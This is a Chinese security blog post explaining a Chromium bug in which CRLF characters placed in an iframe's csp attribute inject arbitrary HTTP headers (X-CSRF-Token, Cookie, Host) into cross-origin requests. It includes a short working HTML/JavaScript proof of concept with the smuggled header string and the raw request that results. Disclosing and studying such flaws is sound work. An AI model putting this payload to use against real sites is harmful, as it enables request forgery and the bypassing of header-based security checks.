CRLF注入Chromium 任意构造头部请求

  • A+
所属分类:网络安全文章
阿里


推广者专属福利,新客户无门槛领取总价值高达2775元代金券,每种代金券限量500张,先到先得。

CRLF注入Chromium 任意构造头部请求

漏洞概述

在这篇短文中,将为读者介绍在Chrome中最近发现的一个安全漏洞,利用这个漏洞,攻击者可以在跨域请求中设置任意头部。近期在Adobe Reader插件中也发现了一个非常类似的安全漏洞,但事实证明,许多浏览器中也存在这类漏洞。

为什么说这个漏洞的危害非常严重呢? 因为攻击者可以利用它来注入任意的请求头部,包括X-CSRF-Token、Host、Referer或Cookie等,而许多安全措施都是根据这些头部来运行的。

漏洞细节

最近,我偶然在iframe元素中找到了一个之前没有注意到的新属性,即csp属性,不难猜到,它是用来指定内容安全策略(CSP)的,具体如下所示:

CRLF注入Chromium 任意构造头部请求

那么,该属性到底是如何起作用的呢? 当您为iframe元素设置src属性时,将生成以下请求:

  1. GET / HTTP/1.1
  2. Host: www.google.com
  3. upgrade-insecure-requests: 1
  4. sec-required-csp: script-src google.com
  5. user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36
  6. accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
  7. accept-encoding: gzip, deflate, br
  8. accept-language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
  9. cookie: [...]

其中,有一个名为Sec-Required-CSP的头部,其值等于之前设置的csp属性值

简单来说,Web开发者可以利用这种机制要求嵌入的内容符合特定的CSP策略。也就是说,嵌入的内容可以被接受或拒绝;如果被拒绝的话,页面就不会被渲染。

现在,让我们回到csp属性本身,因为这个属性的值涉及请求头部,所以,为了利用它,还得借助CRLF注入,如:

  1. <!doctype html><meta charset=utf-8>
  2. .<script>
  3.  const ifr = document.createElement('iframe');
  4.  ifr.src = 'http://bntk.pl/';
  5.  ifr.csp = 'script-src**\r\nX-CSRF-Token: 1234\r\nUser-Agent: Firefox\r\nCookie: abc\r\nHost: absolutely-random-host.google**';
  6.  document.body.appendChild(ifr);
  7. </script>

它会生成如下所示的请求:

  1. GET / HTTP/1.1
  2. Host: absolutely-random-host.google
  3. Connection: keep-alive
  4. Upgrade-Insecure-Requests: 1
  5. Sec-Required-CSP: script-src
  6. X-CSRF-Token: 1234
  7. User-Agent: Firefox
  8. Cookie: abc
  9. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
  10. Accept-Encoding: gzip, deflate
  11. Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
CE安全网

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: